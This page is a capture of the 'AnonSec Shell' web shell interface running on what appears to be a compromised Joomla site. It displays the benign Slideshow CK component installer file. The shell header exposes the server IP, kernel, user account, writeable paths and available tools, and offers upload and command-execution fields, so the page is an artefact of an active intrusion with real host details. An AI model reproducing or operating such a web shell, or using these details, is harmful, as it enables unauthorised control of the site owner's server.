AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/administrator/components/com_slideshowck/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/administrator/components/com_slideshowck/install.php
<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2015. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */
 
defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\Factory;
use Joomla\CMS\Installer\Installer;
use Joomla\CMS\Installer\InstallerAdapter;
use Joomla\CMS\Installer\InstallerScriptInterface;
use Joomla\CMS\Language\Text;

/*
	preflight which is executed before install and update
	install
	update
	uninstall
	postflight which is executed after install and update
	*/

if (version_compare(JVERSION, 6, '>=')) {
	return new class () implements InstallerScriptInterface {

		// private string $minimumJoomla = '4.4.0';
		// private string $minimumPhp    = '7.4.0';

		public function install(InstallerAdapter $adapter): bool
		{
			// not used
			return true;
		}

		public function update(InstallerAdapter $adapter): bool
		{
			// not used
			return true;
		}

		public function uninstall(InstallerAdapter $adapter): bool
		{
			return SlideshowCK_installer_uninstall($adapter);
		}

		public function preflight(string $type, InstallerAdapter $adapter): bool
		{
			return SlideshowCK_installer_preflight($type, $adapter);
			
			// if (version_compare(PHP_VERSION, $this->minimumPhp, '<')) {
				// Factory::getApplication()->enqueueMessage(sprintf(Text::_('JLIB_INSTALLER_MINIMUM_PHP'), $this->minimumPhp), 'error');
				// return false;
			// }

			// if (version_compare(JVERSION, $this->minimumJoomla, '<')) {
				// Factory::getApplication()->enqueueMessage(sprintf(Text::_('JLIB_INSTALLER_MINIMUM_JOOMLA'), $this->minimumJoomla), 'error');
				// return false;
			// }

			// return true;
		}

		public function postflight(string $type, InstallerAdapter $adapter): bool
		{
			return SlideshowCK_installer_postflight($type, $adapter);
		}
	};

} else {
	class com_slideshowckInstallerScript {

		function install($parent) {
			// not used
			return true;
		}
		
		function update($parent) {
			// not used
			return true;
		}

		function uninstall($parent) {
			return SlideshowCK_installer_uninstall($parent);
		}

		function preflight($type, $parent) {
			return SlideshowCK_installer_preflight($type, $parent);
		}

		// run on install and update
		function postflight($type, $parent) {
			jimport('joomla.installer.installer');
			return SlideshowCK_installer_postflight($type, $parent);
		}
	}
}

function SlideshowCK_installer_uninstall($adapter) {
	// jimport('joomla.installer.installer');
	// Latest Module
	// Check first that the module exist
	/*$db->setQuery('SELECT `extension_id` FROM #__extensions WHERE `element` = "mod_test" AND `type` = "module"');
	$id = $db->loadResult();
	if($id)
	{
		$installer = new \Joomla\CMS\Installer\Installer;
		$result = $installer->uninstall('module',$id,1);
	}*/

	// disable all plugins and modules
	$db = \Joomla\CMS\Factory::getDbo();
	$db->setQuery("UPDATE `#__modules` SET `published` = 0 WHERE `module` LIKE '%slideshowck%'");
	$db->execute();

	$db->setQuery("UPDATE `#__extensions` SET `enabled` = 0 WHERE `type` = 'plugin' AND `element` LIKE '%slideshowck%' AND `folder` NOT LIKE '%slideshowck%'");
	$db->execute();
	return true;
}

function SlideshowCK_installer_preflight($type, $adapter) {
	// disable the install on Joomla 3 since 3.2.0
	if (version_compare(JVERSION, '4', '<')) {
		throw new RuntimeException('This version of Slideshow CK can not be installed on Joomla 3. Please use the version 2.4.3.');
	}
	// disable the install on Joomla 4 after 3.4.8
	if (version_compare(JVERSION, '5', '<')) {
		Factory::getApplication()->enqueueMessage('This version of Slideshow CK can not be installed on Joomla 4. Please use the version 2.7.5.', 'error');
		return false;
	}

	return true;
}

// run on install and update
function SlideshowCK_installer_postflight($type, $parent) {
	// install modules and plugins
	$db = \Joomla\CMS\Factory::getDbo();
	$status = array();
	$src_ext = dirname(__FILE__).'/administrator/extensions';

	// module
	$result = SlideshowCK_installer_installExtension($src_ext.'/mod_slideshowck');
	$status[] = array('name'=>'Slideshow CK - Module','type'=>'module', 'result'=>$result);

	// system plugin
	$result = SlideshowCK_installer_installExtension($src_ext.'/slideshowck');
	$status[] = array('name'=>'System - Slideshow CK','type'=>'plugin', 'result'=>$result);
	// system plugin must be enabled for user group limits and private areas
	$db->setQuery("UPDATE #__extensions SET enabled = '1' WHERE `element` = 'slideshowck' AND `type` = 'plugin'");
	$db->execute();

	// slideshowck plugin
	$plugins_src_ext = $src_ext . '/plugins';

	// check that the folder still exists
	if (! is_dir($plugins_src_ext)) return true;

	$plugins = array_values(array_filter(scandir($plugins_src_ext), function ($entry) use ($plugins_src_ext) {
		return $entry !== '.' && $entry !== '..' && is_dir($plugins_src_ext . '/' . $entry);
	}));
	$ordering = 1;
	foreach ($plugins as $plugin) {
		$result = SlideshowCK_installer_installExtension($plugins_src_ext . '/' . $plugin);
		$status[] = array('name'=>'Slideshow CK - ' . $plugin,'type'=>'plugin', 'result'=>$result);
		// auto enable the plugin
		$db->setQuery("UPDATE #__extensions SET enabled = '1', ordering = '" . $ordering . "' WHERE `element` = '" . $plugin . "' AND `type` = 'plugin' AND `folder` = 'slideshowck'");
		$db->execute();
		$ordering++;
	}

	foreach ($status as $statu) {
		if ($statu['result'] == true) {
			$alert = 'success';
			$icon = 'icon-ok';
			$text = 'Successful';
		} else {
			$alert = 'warning';
			$icon = 'icon-cancel';
			$text = 'Failed';
		}
		echo '<div class="alert alert-' . $alert . '"><i class="icon ' . $icon . '"></i>Installation and activation of the <b>' . $statu['type'] . ' ' . $statu['name'] . '</b> : ' . $text . '</div>';
	}

	return true;
}

function SlideshowCK_installer_installExtension($path) {
	$installer = new Installer();
	$installer->setDatabase(Factory::getDbo());

	return $installer->install($path);
}

/*
 * get a variable from the manifest file (actually, from the manifest cache).
 */
// function getParam( $name ) {
	// $db = \Joomla\CMS\Factory::getDbo();
	// $db->setQuery('SELECT manifest_cache FROM #__extensions WHERE element = "com_slideshowck"');
	// $manifest = json_decode( $db->loadResult(), true );
	// return $manifest[ $name ];
// }

/*
* update the table
*/
// function updateTable($version) {
	// $sqlsrc = dirname(__FILE__).'/administrator/sql/updates/' . $version . '.sql';
	// $execute = file_get_contents($sqlsrc);
	// $db = \Joomla\CMS\Factory::getDbo();
	// $db->setQuery($execute);
	// if (!$db->execute()) {
		// echo '<p class="alert alert-danger">Error during table update for version ' . $version . '</p>';
	// } else {
		// echo '<p class="alert alert-success">Table successfully updated for version ' . $version . '</p>';
	// }
// }

Anon7 - 2022
AnonSec Team